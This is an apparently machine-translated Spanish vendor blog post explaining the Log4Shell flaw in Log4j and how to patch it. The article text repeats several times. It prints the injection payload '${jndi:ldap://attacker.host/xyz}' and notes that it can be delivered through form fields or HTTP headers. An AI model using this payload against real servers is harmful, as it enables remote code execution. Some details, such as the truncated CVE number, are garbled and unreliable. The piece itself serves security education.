Explicación de la vulnerabilidad Log4j: su vector de ataque y cómo prevenirlo
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
En diciembre de 2021, se descubrió una vulnerabilidad de seguridad crítica, Log4Shell, en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad de Log4Shell de la forma más sencilla para que comprendas lo básico y te presentemos una misión: un campo de juego en el que puedas intentar explotar un sitio web simulado con el conocimiento de esta vulnerabilidad.
Secure Code Warrior está aquí para que su organización le ayude a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura en la que la ciberseguridad sea una prioridad. Ya sea administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados con el código inseguro.
Reserva una demostración
Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
Haga clic en el enlace de abajo y descargue el PDF de este recurso.
Secure Code Warrior está aquí para que su organización le ayude a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura en la que la ciberseguridad sea una prioridad. Ya sea administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados con el código inseguro.
Ver informeReserva una demostración
Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
Tabla de contenido
Secure Code Warrior está aquí para que su organización le ayude a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura en la que la ciberseguridad sea una prioridad. Ya sea administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados con el código inseguro.
Reserva una demostraciónDescargarRecursos para empezar
Temas y contenido de formación sobre código seguro
Nuestro contenido líder en la industria siempre está evolucionando para adaptarse al cambiante panorama del desarrollo de software teniendo en cuenta su función. Se ofrecen temas que abarcan desde la IA hasta la inyección de XQuery para distintos puestos, desde arquitectos e ingenieros hasta directores de productos y control de calidad. Obtenga un adelanto de lo que ofrece nuestro catálogo de contenido por tema y función.
%20(1).avif)
.avif)
Threat Modeling with AI: Turning Every Developer into a Threat Modeler
Walk away better equipped to help developers combine threat modeling ideas and techniques with the AI tools they're already using to strengthen security, improve collaboration, and build more resilient software from the start.
Recursos para empezar
Cybermon está de vuelta: las misiones de IA de Beat the Boss ya están disponibles bajo demanda
Cybermon 2025 Beat the Boss ya está disponible durante todo el año en SCW. Implemente desafíos de seguridad avanzados de IA y LLM para fortalecer el desarrollo seguro de la IA a gran escala.
Explicación de la Ley de Ciberresiliencia: qué significa para el desarrollo de software seguro por diseño
Descubra qué exige la Ley de Ciberresiliencia (CRA) de la UE, a quién se aplica y cómo los equipos de ingeniería pueden prepararse con prácticas de diseño seguras, prevención de vulnerabilidades y desarrollo de capacidades para desarrolladores.
Habilitador 1: Criterios de éxito definidos y medibles
Enabler 1 da inicio a nuestra serie Enablers of Success, de 10 partes, mostrando cómo vincular la codificación segura con los resultados empresariales, como la reducción del riesgo y la velocidad para lograr la madurez del programa a largo plazo.
